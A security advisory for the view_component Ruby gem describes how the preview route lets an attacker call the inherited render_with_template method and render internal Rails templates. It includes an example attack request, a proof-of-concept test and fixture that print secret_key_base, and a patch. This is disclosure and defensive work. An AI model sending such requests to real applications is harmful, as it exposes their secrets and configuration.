| Package | Affected versions | Patched versions |
|---|---|---|
| view_component | ≥ 3.0.0, < 4.9.0 | 4.9.0 |
The preview route derives an example name from the URL and calls it with public_send. The code does not verify that the requested method is one of the preview examples explicitly defined by the preview class.
As a result, inherited public methods on ViewComponent::Preview are route-reachable. The most important one is render_with_template, which accepts template: and locals:. Those values can come from request params and are later passed to Rails as render template:.
If previews are exposed, an attacker can render internal Rails templates that are not otherwise routable.
Severity: High if preview routes are externally reachable; Medium otherwise.
Affected files:
lib/view_component/preview.rbapp/controllers/concerns/view_component/preview_actions.rbapp/views/view_components/preview.html.erbapp/controllers/concerns/view_component/preview_actions.rb:
@example_name = File.basename(params[:path])
@render_args = @preview.render_args(@example_name, params: params.permit!)
lib/view_component/preview.rb:
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
app/views/view_components/preview.html.erb:
<%= render template: @render_args[:template], locals: @render_args[:locals] || {} %>
The UI only lists direct preview methods via:
public_instance_methods(false).map(&:to_s).sort
But render_args does not enforce that list before dispatching.
Example request:
GET /rails/view_components/my_component/render_with_template?template=internal/secret&locals[poc_local]=attacker-controlled-local&request_marker=attacker-controlled-request
Flow:
my_component resolves to a valid preview.File.basename(params[:path]) returns render_with_template.render_args calls inherited .Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeViewComponent::Preview#render_with_templatetemplate: "internal/secret" and locals: {...}.internal/secret with attacker-controlled locals.Impact depends on what internal templates render. In the worst case this can expose secrets, config, debug data, admin-only partials, or request/session-derived values.
This checkout already contains a PoC at:
test/sandbox/test/security_preview_template_poc_test.rbtest/sandbox/app/views/internal/secret.html.erbThe test proves that /internal/secret is not directly routable, but can still be rendered through the preview endpoint by invoking inherited render_with_template.
If reproducing manually, run:
bundle exec ruby -Itest test/sandbox/test/security_preview_template_poc_test.rb
Equivalent standalone test:
# frozen_string_literal: true
require "test_helper"
class SecurityPreviewTemplatePocTest < ActionDispatch::IntegrationTest
def setup
ViewComponent::Preview.__vc_load_previews
end
def test_preview_route_can_invoke_inherited_render_with_template
refute_includes MyComponentPreview.examples, "render_with_template"
assert_raises(ActionController::RoutingError) do
Rails.application.routes.recognize_path("/internal/secret")
end
get(
"/rails/view_components/my_component/render_with_template",
params: {
template: "internal/secret",
locals: {poc_local: "attacker-controlled-local"},
request_marker: "attacker-controlled-request"
}
)
assert_response :success
assert_includes response.body, "VC_PREVIEW_POC_SECRET=foo"
assert_includes response.body, "VC_PREVIEW_POC_LOCAL=attacker-controlled-local"
assert_includes response.body, "VC_PREVIEW_POC_REQUEST=attacker-controlled-request"
end
end
Fixture template:
<div id="poc-secret">VC_PREVIEW_POC_SECRET=<%= Rails.application.secret_key_base %></div>
<div id="poc-local">VC_PREVIEW_POC_LOCAL=<%= local_assigns[:poc_local] || local_assigns["poc_local"] %></div>
<div id="poc-request">VC_PREVIEW_POC_REQUEST=<%= params[:request_marker] %></div>
Only dispatch explicitly declared preview examples:
def render_args(example, params: {})
example = example.to_s
raise AbstractController::ActionNotFound unless examples.include?(example)
example_params_names = instance_method(example).parameters.map(&:last)
provided_params = params.slice(*example_params_names).to_h.symbolize_keys
result = provided_params.empty? ? new.public_send(example) : new.public_send(example, **provided_params)
result ||= {}
result[:template] = preview_example_template_path(example) if result[:template].nil?
@layout = nil unless defined?(@layout)
result.merge(layout: @layout)
end
Add a regression test that /rails/view_components/my_component/render_with_template fails unless render_with_template is explicitly defined as a preview example on that class.